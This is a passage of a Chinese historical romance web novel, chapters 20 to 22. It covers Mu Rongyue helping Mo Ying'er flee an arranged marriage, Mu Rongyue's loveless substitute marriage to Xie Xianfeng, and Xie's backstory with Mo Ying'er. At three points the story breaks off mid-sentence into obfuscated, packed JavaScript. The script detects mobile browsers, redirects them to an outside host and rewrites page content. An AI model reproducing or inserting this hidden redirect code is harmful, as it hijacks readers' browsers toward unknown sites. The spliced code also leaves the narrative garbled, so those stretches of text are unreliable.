莫盈儿沉沉地哀叹一口气,最后点了点头。 慕溶月一时百感交集:“对方是个怎样的人?你可了解,可还喜欢?” 莫盈儿无奈地应道:“我与他……正如姐姐所说般,没见过几次面,不甚了解,所以也就谈不上喜不喜欢了。不过是奉父母之命,言不由衷罢了。” 说着,她又感从中来,泣不成声道,“如今,我只期望他能看在我母家的份上,待我好一些。不求琴瑟和鸣,只求相敬如宾。” 闻言,慕溶月心中是止不住的难受。 位居高位如她,都尚且不能掌控自己的婚事,就更不用说身微 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“我在白江县,倒是认识一些朋友,可以为你打听打听。”慕溶月却话音一转道,“只要你愿意,我可以帮你逃出去。虽不比留在莫家富贵,但至少你是自由的。” “北上?”莫盈儿脸上划过一丝意外之喜,却是转瞬即逝,“我在莫家已是度日如年,被困了这么多年,有朝一日竟能逃出生天,那真是想也不敢想的。” “我在莫家的这些日子,爹爹将我软禁起来,不允许我外出见人,克扣月银份例,这都是常有的事。就更别提,容我去探望我的外祖了……像今天这番外出,我都是打着去探望未婚夫的名义,才能得空出来见姐姐一面。” 慕溶月也为她而心疼:“真是可怜。他们竟然这样苛待你。” “姐姐说的这个法子,于我而言,是行不通的。”莫盈儿哀叹道,“如今,我全身上下所有的家当,恐怕连一张去子南的船票都负担不起。” “这个,你不用担心。”慕溶月却是灿然一笑,俏皮地对她眨了一下眼,“对我来说,钱是最小的问题了。” 莫盈儿一副醍醐灌顶的模样,总算是听明白了慕溶月的言外之意。 “真的吗?姐姐,你真的愿意帮盈儿吗?” “你就当我是侠义吧。我明白身不由己的痛苦,所以也想拉你一把。” 慕溶月看了杏雨一眼,后者则连忙前去将门窗关拢,慕溶月才回过头来,望着莫盈儿语重心长道,“我可以给你钱,帮你从莫家逃出去。至于你今后会如何,就要看你自己的造化了。” “我明白,有了姐姐的扶持,妹妹心里已是十分感激。”莫盈儿双手拢着慕溶月的五指,哭得情难自已,“姐姐,你这般心地善良,苍天有眼,你一定会有好报的。” 两人一言既合,慕溶月这时才想起来问:“对了,你还没有告诉我,你那定亲的未婚夫是谁呢?” 提及此事,莫盈儿眼神闪烁,酝酿了许久,才望着慕溶月的神色道。 “这个人,姐姐也认识。正是谢羡风,谢大人。” 20. 逃离 轰的一声,慕溶月犹如五雷轰顶。 “你说什么?”她僵在了原地,连声音都在发颤,“所以,你今天特地来找我,便是为了告诉我,你和谢羡风定下了婚约?” “姐姐,姐姐,你先莫要着急。”莫盈儿连忙起身安抚道,“我知道姐姐对他的情意,所以,我并不想将此事瞒着你。我方才所说的话,也绝无半点虚言。” 慕溶月不说话了,缓缓背过身去,手指仍颤抖着,像是还没缓过神来。 莫盈儿伤心地试探道:“姐姐……你还愿意帮我吗?” 慕溶月独自倚靠在窗栏旁,窗外的飞鸟云集,她却无心欣赏,脑海中尽是纷乱的思绪。 “我若是帮了你,他会怎么办?” “姐姐若是帮了我……”莫盈儿顿了顿,耐人寻味地答,“谢夫人的位置,便空出来了。” 慕溶月倏地扭过头来,径直对上了她的目光。 “盈儿,你想说什么,不妨直说。” 莫盈儿忽然提起裙边,噗通地跪在了慕溶月跟前。她放下了身段,目光灼热,言辞恳切地答:“姐姐若是肯帮我,我愿意将这个谢夫人的位置,献给姐姐!” “你竟然想我去替嫁?”慕溶月不由得瞠目结舌,无数思绪在此刻翻覆倾倒,“谢羡风,可知道这件事?” “他并不知情。”莫盈儿无奈道,“谢大人,姐姐是了解的。他平日总是忙于公务,不近女色,我鲜少才能与他攀谈几句。不如说,其实,这段婚约,他也只不过是受制于人罢了……我与他素日里交流甚少,我还尚且摸不清楚他的喜恶,又怎敢擅自说出想要逃婚这般大逆不道之言……” 慕溶月暗自攥紧了手。 “此事涉及过多,我还需要再考虑一番。” “我明白了。” 莫盈儿敛裙站了起来,忽然郑重其事地从头上取下了一枚银簪,放在了桌上。 “姐姐,这枚银簪送给你。虽不值得一提,却是盈儿身上最贵重之物了。姐姐对盈儿的照顾,盈儿无以为报,唯有此物,愿姐姐不嫌弃。” 慕溶月心头一热,便叫杏雨将银簪收好,颔首:“好,我会收下的。” 莫盈儿笑了一下。 “姐姐,希望你会喜欢盈儿带来的点心。盈儿改日再来看你。” 慕溶月也随之起身,“杏雨,去送客。” “姐姐请留步吧。”莫盈儿站在门口,缓缓回过头来,嫣然一笑道,“无论姐姐最后选择什么,盈儿都祝姐姐无问于心,前程似锦。” 莫盈儿走后,屋内便恢复了空荡荡的冷寂。 慕溶月坐在窗边出了神,不知想到了什么,忽然匪夷所思地失笑起来。 “杏雨,你说我是不是太疯狂了些?竟想帮着心上人的未婚妻逃婚。” 杏雨思索片刻,却道:“若如莫三娘子所说,这门亲事只是奉父母之命的无奈之举,这婚约于他们二人来说皆是枷锁,那么,小姐此举,何尝又不是雪中送炭呢?” “我不知道。”慕溶月仍在犹豫,“你说,我要不要事先将此事透露给阿羡,探一探他的反应?” “小姐,你就算是为谢大人着想,但也别忘了自己哪!”杏雨忍不住提醒道,“小姐良善,总是考虑着旁人的感受。可小姐如今已是自顾不暇,难道您忘了,您还背着和宋国公大人的亲事呢。” 此话犹如利箭点醒了慕溶月,她惊觉起来,如若她再不做点什么,恐怕是真的要嫁给那宋国公了。 慕溶月闭眼幻想起来,新婚当夜,她的身旁坐着一个陌生的男子,而另一端的红纱轻幔之间,谢羡风正缓缓揭开床上新娘那喜庆如火的红盖头,露出莫盈儿泛红的眼。 慕溶月痛苦地挥散思绪,光是想象就已是心如刀割。叫她如何能眼睁睁地看着心仪之人娶了别的女子? 她到底该怎么做? 慕溶月来到桌前,拉开屉盒,拿出了深处的那个木箧。 打开盖子,里面正是那枚陪伴了她数年的小泥人。 它头顶还有一个泥捏的笠帽。 慕溶月攥在手心,翻来覆去地抚摸,连目光都变得温柔了几分。 最后,她深吸一口气,道:“杏雨,为我想个法子,把话递出去。” “我想见阿羡一面。” …… 慕溶月让杏雨假扮自己留在家中,而她金蝉脱壳,躲开了沈惠心的眼线,这才得以见到谢羡风一面。 时间紧,她只能拣重要的话说。 慕溶月望着谢羡风的眼,一阵酸涩涌上心头,她忽然间——弯下了腰。 “这些时日,我想了许多,也反思了自己。阿羡,我该向你说声抱歉。” “对不起,我不该自作主张,当着那样多人的面逼迫你接受我的心意,这何尝不是一种强人所难……” 话音未落,谢羡风眸中一晃而过一丝诧然之色,似是也没想到她会主动低头。 在喜欢的人面前,人总是会低到尘埃里去。 “慕二娘子,无须向下官道歉。” 他却依旧是生分的口吻。 慕溶月从未觉得,自己和谢羡风有过如今这般的隔阂。那一瞬,她忽然好像看不懂他了。 她艰涩地问了出口,“阿羡……你已经有心仪的女子了吗?” 说完,慕溶月便感觉自己的心口发酸得紧,不禁屏住了呼吸,观察着他的双眼,不愿错过他任何一个微妙的表情。 但与此同时,她却也在想,倘若谢羡风真的应承了下来,她会就此放手,决不纠缠。 她喜欢谢羡风,所以希望谢羡风能够得到幸福,无论这个幸福是否是她给的。 谢羡风沉默了。 缄默仿佛锐利的尖刀,在人心上千刀万剐。就在慕溶月终于忍不住想要打破这一片死寂的僵持时,谢羡风却率先开口了。 “没有。” 他说,“我没有心仪之人。” 慕溶月蓦然松了一口气,好似干渴的鱼终于见到了水,那悬着的心终是落了地:“那为何,要拒我于千里之外呢?” “阿羡,我是真的喜欢你。” “能不能给我一次机会?我们试一试,好不好?” 她说这话时放低了姿态,几乎是以祈求的口吻,在与谢羡风讨价还价。 她默默垂泪,哭红的眼,小心翼翼地上前,伸手抱住了他。 慕溶月极少会有这般脆弱不设防的一面。如今,她全然暴露在谢羡风的眼前,便是已经交尽了底牌,任人鱼肉。 这也是谢羡风第一次见她这般低微的模样。 而他犹豫了一瞬,一动不动,没有开口。 偏偏就是那么一瞬。 或出于怜悯,或出于动容 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14304293|150933||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 仅一瞬的犹豫,却改变了一切。 也正是这一分的沉默,让慕溶月好似看见了黑夜中的那一缕光亮,她如飞蛾扑火般捉住,以为握住了美满,却终究是黄粱一梦。 …… 春宵之夜,花好月圆。床头摆着一对燃尽湮灭的红烛,榻上还撒着红润的桂圆与红枣。 喜房里却只剩下了慕溶月一人。 她不知道自己的夫君去了哪里,也不知道自己的未来将会如何。 她看不清前方的道路,就好似这乌云盖住了残月。她的眼底,尽是阴霾。 翌日的清晨,慕溶月却是一宿没睡。 她头上还戴着那金簪与凤冠,面上的妆却掉得七零八落,凄惨得好似一朵枯萎的花。 日晒三竿,谢羡风才回到了将军府。 他衣冠齐整,回来只不过为收拾行囊。 慕溶月提起裙摆,踉跄地跑去向他解释:“对不起,我寻了一夜,都没能找到莫盈儿的消息。我派人连夜去她的外祖家打听,结果她的外祖却说从没见过她……” 她惶恐地倾诉,希望他能体谅。 可谢羡风只是冷睨了她一眼,眸中阴戾,目光灼灼。 “这下你满意了吧?” 他哂笑地反问,“你弄走了盈儿,成功嫁给了我。” 他唇角若有若无地讥嘲,那一副厌弃的表情,让慕溶月的心逐渐地揪成了一团:“……阿羡,这不是我的本意。” “所以,你当初就是这样胁迫盈儿的么?”谢羡风忽而停下了动作,扭过头盯着慕溶月,他灰墨色的瞳仁里,倒映出她通红的眼,“用你的眼泪和身份……软硬兼施?” 慕溶月身子一颤,犹如万箭穿心。 谢羡风潦草收拾完行囊,便踏上了马车。慕溶月眼泪也来不及擦,仓促地追上去问,“你要去哪儿?” “受陛下的调令,我要去驻守边区。” “什么时候回来?” 回答她的只有无尽的沉默。 “我们才不过新婚,你便要留我一人守这空房吗?”慕溶月终于忍不住泪如雨下,“我又该如何面对外面的流言蜚语,日后,我又该怎样才能抬起头来……” “这不便是你想要的吗?”谢羡风说这话时冷漠的眼眸,她一辈子也不会忘记,“既选择了我,你就该想到会有这一天。” 最后,谢羡风还是头也不回地走了。 独留慕溶月一人,守着将军夫人的空名,一个人回门,一个人打理家中琐务,一个人在独守空闺的寂冷里,逐渐地熬到灯枯油尽。 *** 新春伊始,民间正在燃引鞭炮以颂祝新年。朵朵焰火在星空上绽放,好似一场盛大的庆典。 “想离开吗?” 慕溶月闻声一怔。她渐渐地缓过了神,扭过头,对上了身侧宋景渊的目光。 他一直在看她。 “想不想离开这里,去到一个清净的地方,一个没有人能找到你的地方,去过另一种截然不同的人生?” 焰花耀眼的余晖映照在慕溶月的侧脸之上,也点亮了她眼底的一丝微光。 若能重来,再给她一次机会,她不想再沉溺于不值得的人和事。 她想重新找回丢掉的自我。 “好,”黑夜之中,宋景渊的目光灼热,“我帮你。” 21. 莫盈儿。 国公府另一厢的客房之中,却是一地狼藉。 符卿回来后便发了好大的一通火,一番打砸发泄,是又气又恼。 她的贴身女使连忙从中劝阻:“娘子,这毕竟是在别人的屋檐下,娘子还是冷静些吧!别叫人捉住了把柄……” 符卿却猛地一推搡她。 “冷静?你叫我如何冷静!表哥竟然这样看重她,我该如何冷静!” 方才她当众让慕溶月难堪,见慕溶月落荒而逃,本暗自窃喜着,谁承想,下一秒,身旁的宋景渊就蓦地起身,随之追了出去。 那样行色匆匆,分明就是为了上赶着去安慰那慕溶月! 她记得一清二楚,慕溶月在嫁人之前,曾和宋景渊有过一段婚约。只是后来发生了替婚这等子事,这婚约便也算作废了。 她原以为,慕溶月嫁给了谢羡风,而她也终于可以安下心来去找她的宋表哥了。可没料到,这么些年了,宋景渊不仅始终未娶,就连中意的女子也不曾有过。难道,他心里还一直为这慕溶月留着一席之地不成? 符卿眼看着自己的年纪越拖越大,却一直在闺阁待嫁,说不着急都是假的。 慕溶月和谢羡风两人婚前本就不睦,今日宴席慕溶月更是独自赴约。若是他们真的一朝婚变,那宋表哥会怎么办?她又该怎么办? “今日席宴上,我见表哥的目光始终黏在那慕溶月身上,就没移开过……”符卿欲哭无泪,悲愤与担忧交加,竟是倏地瘫软在地,“难道,我真要这样坐以待毙吗?” 女使叹气连连,一面跟在她身后收拾残局:“娘子,娘子,你莫要再自己吓自己了!若是因此而气坏了身子,当真是不值得……” 符卿坐在地上,哭得梨花带雨。 “我真是想不明白,当初她慕溶月自己寻死觅活、口口声声说要嫁给那谢羡风,这么多年过去了,表哥怎么还是对她不死心?” 女使拉拢了门窗,又回到了符卿身边,弯下腰低声同她道:“那日娘子吩咐奴婢去打听的事,奴婢已经有了几分眉目。” 符卿立马睁大了双眼,拉拽着她的袖腕:“快说!” “虽然奴婢暂时还不清楚慕夫人和谢将军如今感情如何,但是……奴婢打听到,谢将军此番赈灾回来,曾带回过一个贫民女子,还亲自安置在将军府呢。” “女人?”符卿一眨眼,第一反应便是,“他要纳妾?” “还不大清楚,或许是这样吧,”女使又细细推测道,“要不然,这慕夫人今日为何会独自赴宴?大抵,她是受不了宠妾灭妻的屈辱,两人的矛盾这才久积爆发了……” “你说得有道理。”符卿认可地点了头,“毕竟她是长公主的女儿,岂能容忍一个贫民之女骑到自己头上去?” 像这样的事情,从前也发生过不少。 京城人人皆知,那一年,长公主的嫡女爱上了一个名不见经传的男子。他不近女色,待人冷淡,而她却总是愈挫愈勇,屡败屡战。每次在他那儿吃了闭门羹,过不了几天,她却又会黏在了他的身边,心甘情愿地当他的跟屁虫。 哪怕是在婚后,他待她薄情寡义,数年不着家,不闻不问,她也从不抱怨,照例做好自己妻子的本分,为他操持好了家中的一切事务,安心等他归家。 为了他,慕溶月已然牺牲了太多太多。如今,岂能说放下就放下了? “我就说呢,她当初爱那姓谢的爱得那般死去活来,如今怎会轻易就转性了?原是嫉妒他要纳妾嫉妒得发狂,才如此这般来要挟他。呵,不过是庸俗妇人的把戏,欲拒还迎罢了!” 符卿说服了自己,醍醐灌顶一般点起了头。 “那个民女,如今在何处?” 女使颔首道:“这个人,或许可以帮上娘子。要想找到她,并不难。” 符卿戏谑地笑了一下:“那就交给你去办了。” 她的眼神逐渐加深,忽而又想起了一件事,话音一转道。 “另外,还有一件事。” “你再去歌楼里为我找两个会才艺的女子,要样貌出挑的,一并送去将军府。”符卿暗暗攥紧了双拳,“我偏要狠气一气那慕溶月,削了她的锐势,看她怎么办。” 那女使一时没反应过来:“娘子是想……” 符卿的眸中划过一丝狠绝。 “当初莫盈儿的事岂容她就这般轻拿轻放了?新账旧账一并算,才能彻底扳倒了她——省得她反复横跳,惹人心烦!” *** 谢羡风又在永安留了一夜,一直到国公府的除岁宴谢了幕,也没等到慕溶月来找他。 倒是等到了皇帝的圣旨,说是庐南一带匪寇盛行,调他去平息动乱。 谢羡风扶栏遥望,街道之上人潮拥挤,却没找到那个熟悉的身影。霎时间,他心底漾开一股说不清道不明的情绪。 罢了。 谢羡风收回了目光,正打算越过门栏离开这里,刘彰却忽然姗姗来迟,报信道:“将军,慕二娘子有消息了。” 谢羡风停住了动作,刘彰便详细阐明了昨日发生的情况。 闻言,谢羡风神色有了一丝变化。 “她果真是这么说的?” 刘彰颔首道:“确实如此。慕二娘子亲口所说,往后不会再弹这首曲子了。” 得知她昨日在宴席弹了一曲当年的《雀儿叹》,谢羡风并没有觉得很意外。但不知怎么,在听到她这句话时,他的眉头又再度皱了起来。 不用形容,他已经可以想象,现场关于猜忌他们夫妻二人婚变的流言会有多么刺耳。 他原是不喜欢将家中关起门的私事去外面大肆宣扬的。 但这一次,是先符卿挑起的事端,不能算在她的头上。 刘彰又问:“将军,是否要去给慕二娘子捎个口信?” 谢羡风顿了顿,终是摇首。 “不必了。” 都是一些陈年往事了,又何必再提。 刘彰顿时会意,又话音一转:“除此之外,属下还打听到一件事。” “据说,宋国公正在为慕二娘子筹备车马,似是她想去那青林山上修行一段时日,过几天便会启程。具体如何,属下也不大清楚了。” 在听到“宋国公”时,谢羡风的眸光沉翳了几分。随后,又在刘彰提到“青林山”一地名时,而凝滞了一瞬,最后变得意味深长起来。 “我知道了,你下去吧。” 青林山。 这个地方,他是记得的。 他们还没有成婚前,慕溶月曾主动向他提过一回。她满目憧憬地向他描绘着未来的图景:“青林山的风水是最养人的。若有机会,我真想去山上清修一段时间呢。春日采桃,夏日吟诗,秋日酿酒,冬日赏雪;平日里便吃斋静心,修身养性。想想便很闲逸!” 末了,还生怯又羞涩地望向他,小心翼翼地问:“阿羡,你愿意陪我一起吗?” 那时,他只是装聋作哑。后来,慕溶月便再没有主动提起此事了。 没想到,她却一直将这个愿望放在心上,不曾忘却。 那日与她起了争执,谢羡风随口撂下一句,随她要回哪里。那虽是一句气话,显然慕溶月却当了真。 既然如此,便由她去吧。 谢羡风本想坐视不理,但走到了门外,忽然又停了下来。 不知怎么,就多问了一句:“宋景渊也会去青林山?” “这个,属下也不甚清楚。”刘彰道,“但是,据属下打听,宋国公年后还要忙于招待陈太傅,公事在身,他应该走不开的。” 谢羡风紧蹙的眉头松开,多了一分若有若无的松缓。 “知道了,走吧。” *** “月儿,对不起。” 慕溶月看书的思绪被遽然打断,便抬起眸来,看向眼前的沈子钰。 后者则是垂着头,一副失神落魄的模样。 慕溶月收起了书卷,反问他:“子钰哥哥所为何事?” “昨日在宴席上……我没能阻止符卿。”沈子钰自责极了,垂眼落寞道,“又勾起了你的伤心事,你一定很难过吧。” 慕溶月却是主动宽慰他: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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静思堂是京中官宦子女考学的地方,而琴艺也是当朝殿试的科目之一。 她已有三年不碰琴了,一朝重温,食髓知味。 思来想去,若是能在静思堂施展才能,为后生传道解惑,她这一手琴技便也不算是浪费了。 更者,教授育人,也算是一桩功德。或许,也能为她洗去身上的一番污名。 “那自然是好啊!” 见慕溶月逐步走出了阴霾,已然开始展望新的未来,沈子钰也由衷地为她而开心:“你是齐国师的关门弟子,你的一手琴艺,放眼整个京中也无人能敌。月儿,你若是肯屈尊来静思堂授学,那就是静思堂的福气。待我回去就把消息传给肃老,他定会高兴得合不拢嘴的!” “那就这样,一言为定了?” “君子一言,驷马难追。” 慕溶月笑逐颜开,如幼时那般,朝沈子钰伸出了小指。沈子钰也回之一笑,顺从地勾了上去,二人拉钩结誓。 *** 谢羡风在庐南一带逗留了几日,那片的流寇太过猖獗,四处杀人放火,却不图财也不劫物,倒像是有人刻意引出来煽风点火的。 谢羡风亲自领兵才镇压住了这场动乱,却在启程准备离开时,找到了一位落险的女子。 “将军,这里还有个昏迷的女人——” 李衡抱着一个女人急匆匆地跑来。那女子灰头土脸,浑身骨瘦如柴,似是饿了好几天,早已不省人事,还有了些脱水的症状。 谢羡风吩咐道,“去叫郎中来。” 李衡应了声好,将那女子平放在了车轿内,便扭头去请村里的郎中了。 谢羡风擦拭着剑锋,却是不经意的一瞥。 只一眼,他的呼吸滞住了。 待到李衡回来时,只见到谢羡风失魂落魄地伸出一双手僵滞在了半空中,似是想要触碰眼前的女人,又像是在克制着。 “将军这是怎么了?从来没有见过他这般失神的模样。” 刘彰看了一眼那女人的面庞,也是一惊道:“那姑娘……将军是认识的。” “她是谁?” “正是他昔日的故人,太常莫少卿之女,莫盈儿。” 22. 旧物 车马摇晃,轿内更是一片死寂。 谢羡风正坐于主位,闭目不言,眉头紧皱。 李衡骑着马在前头引路,与刘彰并肩而行。 莫盈儿则昏迷不醒,躺在后方的车厢里,不紧不慢地跟着。 见车马内没了声音,李衡便凑近刘彰,低声问道:“你说,将军现在可还喜欢着这盈姑娘么? 方才我见他看见盈姑娘,神情都恍惚了。可是,若说还喜欢吧,他又刻意将那盈姑娘放在另一个车轿里,离自己远远的——这又是何意啊?” 刘彰斜他一眼,并不搭腔。 恰逢这时,车轿路过了一个卖早点的摊贩。小贩站在热气腾腾的锅灶前车子嗓子吆喝:“新鲜出炉的馒头,面条,肉包子哟……” 李衡的肚子咕噜地响了一下,但他不敢斜视,匆匆地往前走去。 下一秒,却是谢羡风主动掀开了窗帐:“落轿。” 李衡天真地问:“将军,你也饿了吗?要不我去买一笼包子回来,这早点闻着确实很香。” 谢羡风微蹙眉头,没有说话。李衡顿时明白,这包子分明是给后轿里的莫盈儿买的。 于是,李衡调头去买了三笼热乎乎的灌汤包和一碗清汤寡水的稀饭,一并递到谢羡风手里。 谢羡风将莫盈儿的脖颈轻抬几分,亲自喂她喝下了半碗白粥。 期间,莫盈儿呛了几口,从嘴角淌出的粥汁染脏了谢羡风的衣摆。不过,他也没恼,而是拿出绢帕为她擦拭唇角。 指腹触到温热,先是一滞,随后涣散开来。 泛黄的往事在谢羡风脑海中不断盘旋,他终是猛地遏住纷乱的思绪,将手收了回来。 “启轿。” 回去的路上,刘彰看着李衡一副费解的模样,便反问他: “你是从什么时候开始跟着将军的?” 李衡一脸的迷茫:“算起来,也有半年了……怎么了?” 刘彰瞥了一眼手心那尚且温热的包子,塞在嘴里,满满的咬了一口。 “你知不知道,身逢乱世,一个馒头,便可以救下一条人命。” 李衡诧异道:“你是指……将军和盈姑娘?” 刘彰点了点头。 “当年,盈姑娘正是用一个包子救下了将军的一条性命。” …… 十余年前,新帝登基,百废待兴。 生逢乱世,自谢羡风有记忆起,他便过着颠沛流离的日子。 十岁那年,他随双亲北上逃荒,遇上了蛮夷的匪徒。他的娘亲被侵污卖去了青楼,只换来了一小袋米粮。而他的父亲则被乱刀捅死,人人分而食之。 为了活下去,谢羡风挣扎着咬破了麻绳,他光着脚在满是荆棘的丛林里拔足狂奔,一直到血肉模糊,浑身都是腥味。 他不敢停,也不敢回头。 后来,他忘了自己没命地跑了多久,只记得他用尽全力,从荒僻山林到喧闹街坊,从渺无人烟到车马骈阗。 他不知不觉来到了闹市中心,见到了一处碧瓦朱甍的富贵家宅。 这样漂亮的宅院,他连见都没有见过。 于是,他耗尽最后一丝力气,倒在了那房子的门前。 那时,他脑子里只盘旋着一个念头——若是死在这样的屋檐下,至少不用担心,尸体好几日都无人发现了吧。 于是,他渐渐地合上了双眼。 在意识模糊的边缘,他忽地听见两道杂乱的声音,由远及近,最后在他的头顶响起。 “小姐,咱们快走吧……” “可是,他好像还活着,真是好生可怜。” “最近街上的流民是越来越多了,主君都让咱们锁好门窗,不要去管了。倘若被主君撞见,定会对小姐大发雷霆,怪罪下来的。” “可是,我实在是不能就这样眼睁睁地看着他……” “小姐,别再理会了,咱们已经自顾不暇了,快回去吧!若是出来久了,夫人也会怀疑的……” 二人争执不下之时,谢羡风艰涩地睁开了双眼。他的眼前还淌着血,猩红的血色染红了他的视线。他脱力地想支撑起来,朦胧之中,只看见了一个人影。 少女双眉弯弯,面如白玉。她的服饰并不显华贵,却十分齐整。谢羡风至今仍记得她头上戴着的那一根木头做成的发簪,坠着的银铃随风晃动,真是好听。 他只一眼便知,她与他不是同一个世界的人。 但少女的怜悯,却让两人的人生自此产生了重叠。 那少女见到他睁开了双眼,便是惊喜地笑道:“……你醒了?” 她凑上前去,关切地问:“你感觉可还好些了?” 谢羡风半梦半醒之间,听见自己含糊地喊。 “……水……” “还懂得叫饿,说明还有一线生机。”少女莞尔一笑,扭头看向身后的女使,“你快去厨房给他拿些吃的来,什么都好……” 那女使犹豫几下,便手忙脚乱地扭头走了。少女则是留了下来,无声地陪在他身边。 谢羡风衣衫褴褛,身上尽是皮开肉绽的伤,腰间的裂口还在汩汩地流着血。少女犹豫几许,便咬着牙从裙边撕下了一块碎布,按压在了他的伤口之上。谢羡风下意识地想躲,喉头干涩,只怯生生地道:“……脏。” 他身上,很脏。 他不想让自己的血污弄脏了她好看的裙摆。 少女却不以为意,苦笑了一下,反倒更加坚定地为他包扎起了伤口。 “你一定要活下去啊。” 她亲自为他的伤口止血,动作那般一丝不苟:“只要活下去,便还有希望。” “小姐,馒头拿来了,咱们快回去吧!” 女使端来了一个破口的小碗,碗里装着一个白面馒头,还有些许凉水。 少女将食物端在了他的面前:“我能帮你的很少,这儿有一个馒头,一点水。” 谢羡风三天滴水未进,早已饥肠辘辘,如今吞咽着口水,生涩地说了声:“……谢谢。” 之后,便接过了破碗狼吞虎咽起来。 “你受伤了,最好去找郎中。”少女见他这样,不忍面露同情,又问,“你今年多大了?” 谢羡风啃馒头的动作僵滞了一瞬,最后往虚岁上又多报了三岁。 少女沉沉地叹了一口气。 “那我只能为你指一条明路,日后如何,全凭你自己了。” 此时,巷道外又传来了一阵人声鼎沸的车马声。女使吓坏了,连忙拉住少女,“小姐,来人了,咱们快走吧!” 来不及了,少女长话短说:“你去找一个姓赵的大哥,他心地善良,是守尉驻军的管事,你若求他,说不定有机会能留下。” 少女发簪上的吊坠随风飘起,叮叮当当。谢羡风听得入迷了,情不自禁地伸出了手,像是想要抓住些什么。 “姑娘……你叫什么名字?” 话音未落,少女却扭头匆匆离去,只留下一个遥远的背影。 在此之前,谢羡风从来不信何为真情。他只知世间人情冷暖,世态炎凉。人们因利而聚,又因利而散。 那是他第一次感受到了人间的温暖。她帮他,不求回报,不为所图,而只是纯粹的悯恤。 正是这一抹怜悯,救赎了滚入深渊的谢羡风。 也是第一次,谢羡风有了强烈的求生欲望。 他要活下去, 他要报恩。 后来,他果真找到了那个姓赵的守尉,求他收留他在军中卖命。没有背景、没有后台,他能豁上去的,只有一条贱命。 数年如一日的卧薪尝胆,为了生存,不惜与野狗抢食。只为韬光养晦,有朝一日厚积薄发。 后来,他打听到了当初的救命恩人,原来是位叫做莫盈儿的女子。她是太常寺少卿莫大人家的庶女,虽然不比寻常人家的女儿,却是莫少卿那不受宠的外室所出,因此,在家中的地位也极低,不甚得父亲的宠爱。平日里,莫少卿只是将她养在府中,不教她人情世故的道理,也不为她的将来打点铺路。因此,她也是姊妹之中,存在感最低的那一个。 谢羡风苦苦等了五年,才终于等到了再见她一面的机会。 而那时,他已经不再是浑身泥泞的落水乞丐,他一身军袍,意气风发,站在莫盈儿的跟前,却是青涩地说不出话来。 而莫盈儿却一眼便认出了他,笑道:“你做到了,我为你而高兴。” 那一瞬,所有努力都是有意义的。 然好景不长,很快,他们的事便被莫盈儿的嫡姐莫婉莹撞破。那日,她横冲直撞地横隔在两人中间,直指着莫盈儿的鼻子破口大骂: “你居然和这些来路不明的军痞子厮混,真是恬不知耻,丢我莫家的颜面!” 骂完,她竟当着谢羡风的面,用那粗壮的柳条狠狠地抽在了莫盈儿的身上。莫盈儿尖叫着闪躲,却无意间露出了身上的伤痕累累。 谢羡风瞪圆了双眼,正要上前阻拦,却被莫盈儿红了眼推搡开,颤着声叫他: “你快走罢……” 谢羡风那时才知道,原来她在莫家的日子,比他想象中的还要凄惨。 她过得很不好。 而他想救她出这魔窟。 于是,他加倍地努力,在军中闯出一片天下,只为等来一个时机——一个救出莫盈儿的时机。 谢羡风至今仍然记得,他与莫盈儿定下终生的那日。 那时,他被桓王调去扬州,彻查军械走私一案。他明白其中的厉害凶险,所以,在离开前,他特意托人辗转数次才找到了莫盈儿,与她辞行。 暗淡的屋檐下,两人隔街相望,谢羡风嘴角勾起一抹笑意,连步伐也变得轻快了些。 莫盈儿却神情慌张地停在了檐廊的深处,左顾右盼,生怕有人经过撞破。 直到确认了此处再无第三个人,她才稍稍安心,抬起眼看向面前的男人,低声道: “我只有一刻钟的时间……我们之间的事,定不能被人瞧见。” 说着,莫盈儿不禁又压低了几分声音,生怯地说,“我如今在王府已经是举步维艰……不想再生出更多的事端来。” 谢羡风会意地点头,只好将斗笠的帽檐压得更低了些。 他明白莫盈儿在莫府的生存不易,她还未出阁,家中又戒严,这次来见他,本就是冒了极大的风险。 “我知道。他们只知道我来见你,却不知道你是谁。”谢羡风沉声道,“盈儿,我会护着你,不会拖累你的。” 莫盈儿的话语也软了下来:“我不是那个意思。” “我只是觉得……你今 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14329482|150933||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天真好看。”谢羡风的目光始终落在莫盈儿的身上,忽地抿唇笑了一下,笑意里藏着几分浅浅的腼腆,“这长衫裙……很衬你。你戴珠翠也很漂亮。” 说着,他从怀中掏出一个首饰盒子。莫盈儿亲手打开,发现里面是一枚镶银的发钗。工艺之精巧,一看便价值不菲。 “这个,送给你。” 谢羡风的眸光里尽是沉溺的温柔与期待。 他早就想送莫盈儿一个簪子了,从见她的第一面起。尽管,这个银钗花了他几乎全部的积蓄。 “这……太贵重了,我不能收。”莫盈儿手一颤,几乎立马把盒身盖上了。 谢羡风却是微微一笑,“你不用紧张,我原本也是想送给你的。” “我很快就又要启程了,这一去便不知又要多久。所以,就想着出发前……来看看你。” 说着,谢羡风的语气不禁变得凝重起来,他抬首看向莫盈儿,“我此次的任务事关重大,不成功,便成仁。盈儿,你……愿意等我吗?” 莫盈儿几乎是瞬地便懂了他的意思。 待到立下军功后,他想娶她为妻。 